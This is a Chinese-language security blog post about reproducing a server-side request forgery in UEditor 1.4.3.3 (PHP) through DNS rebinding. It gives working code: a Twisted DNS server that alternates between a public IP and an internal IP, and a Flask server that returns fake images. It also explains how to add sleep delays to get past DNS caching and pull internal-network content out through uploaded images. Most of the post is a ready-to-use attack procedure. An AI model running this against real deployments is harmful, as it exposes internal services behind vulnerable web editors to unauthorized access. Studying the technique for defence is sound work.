测试中遇到一个Ueditor 1.4.3.3 php ssrf但是由于DNS rebinding的不稳定性造成复现困难,目前通过延迟等手段可以加大成功率。
0x01 复现过程
- 参考文章中先设置test.jianfensec.com的NS记录转发到自己的VPS DNS服务器:
https://admintony.com/UEditor-1-4-3-3-SSRF-AND-DNS-rebinding-attack.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
|
#coding : utf-8 from twisted.internet import reactor, defer from twisted.names import client, dns, error, server import time flag=0
class DynamicResolver(object):
def _doDynamicResponse(self, query): name = query.name.name global flag if flag < 2: ip="47.52.95.35" flag=flag+1 else: ip="192.168.123.130" flag=0 current_time = time.strftime('%Y.%m.%d %H:%M:%S ',time.localtime(time.time())) print "[{}]{} ===> {}".format(current_time,name,ip)
answer = dns.RRHeader( name=name, type=dns.A, cls=dns.IN, ttl=0, payload=dns.Record_A(address=b'%s'%ip,ttl=0) ) answers = [answer] authority = [] additional = [] return answers, authority, additional
def query(self, query, timeout=None): return defer.succeed(self._doDynamicResponse(query))
def main(): factory = server.DNSServerFactory( clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')] )
protocol = dns.DNSDatagramProtocol(controller=factory) reactor.listenUDP(53, protocol) reactor.run()
if __name__ == '__main__': raise SystemExit(main())
|
- 启动Web服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
from flask import Flask, Response from werkzeug.routing import BaseConverter import time
class Regex_url(BaseConverter): def __init__(self,url_map,*args): super(Regex_url,self).__init__(url_map) self.regex = args[0]
app = Flask(__name__) app.url_map.converters['re'] = Regex_url
@app.route('/<re(".*?"):tmp>') def test(tmp): image = 'Test' #image = file("demo.jpg") resp = Response(image, mimetype="image/jpeg") return resp
if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
|
3.不断重放数据包,尝试绕过验证最终将192.168.123.130:8081的内容写入图片这样就可以得到一个可回显SSRF:
4.问题出现,DNS rebinding收到缓存和网络影响复现不稳定,重放1000个数据包无效果:
0X02 尝试解决
首先是因为DNS缓存导致的问题,我们无法控制客户端但是可以控制前一个请求的返回时间来延迟客户端处理下一个请求的时间,服务端请求加入time.sleep(45):
1.本地测试DNS缓存释放再请求时间大概为40-50秒
2.检查源码中发现使用get_header函数去获取返回信息,此函数未设置超时所以设置延时不会产生异常,实际测试大概60S是极限,如果Burp请求中存在502可以适当降低sleep时间。
在web服务器中加入延迟:
这里需要改一下原有脚本当flag<2返回SSRF内网目标IP,请求超过2次则返回外网IP,否则服务器一开始就请求外网IP会卡死:
可以发现这里请求了20个包就得到了SSRF内容:
从服务器图片中获取内网SSRF内容:
如无特殊说明,均为原创内容。转载请注明出处!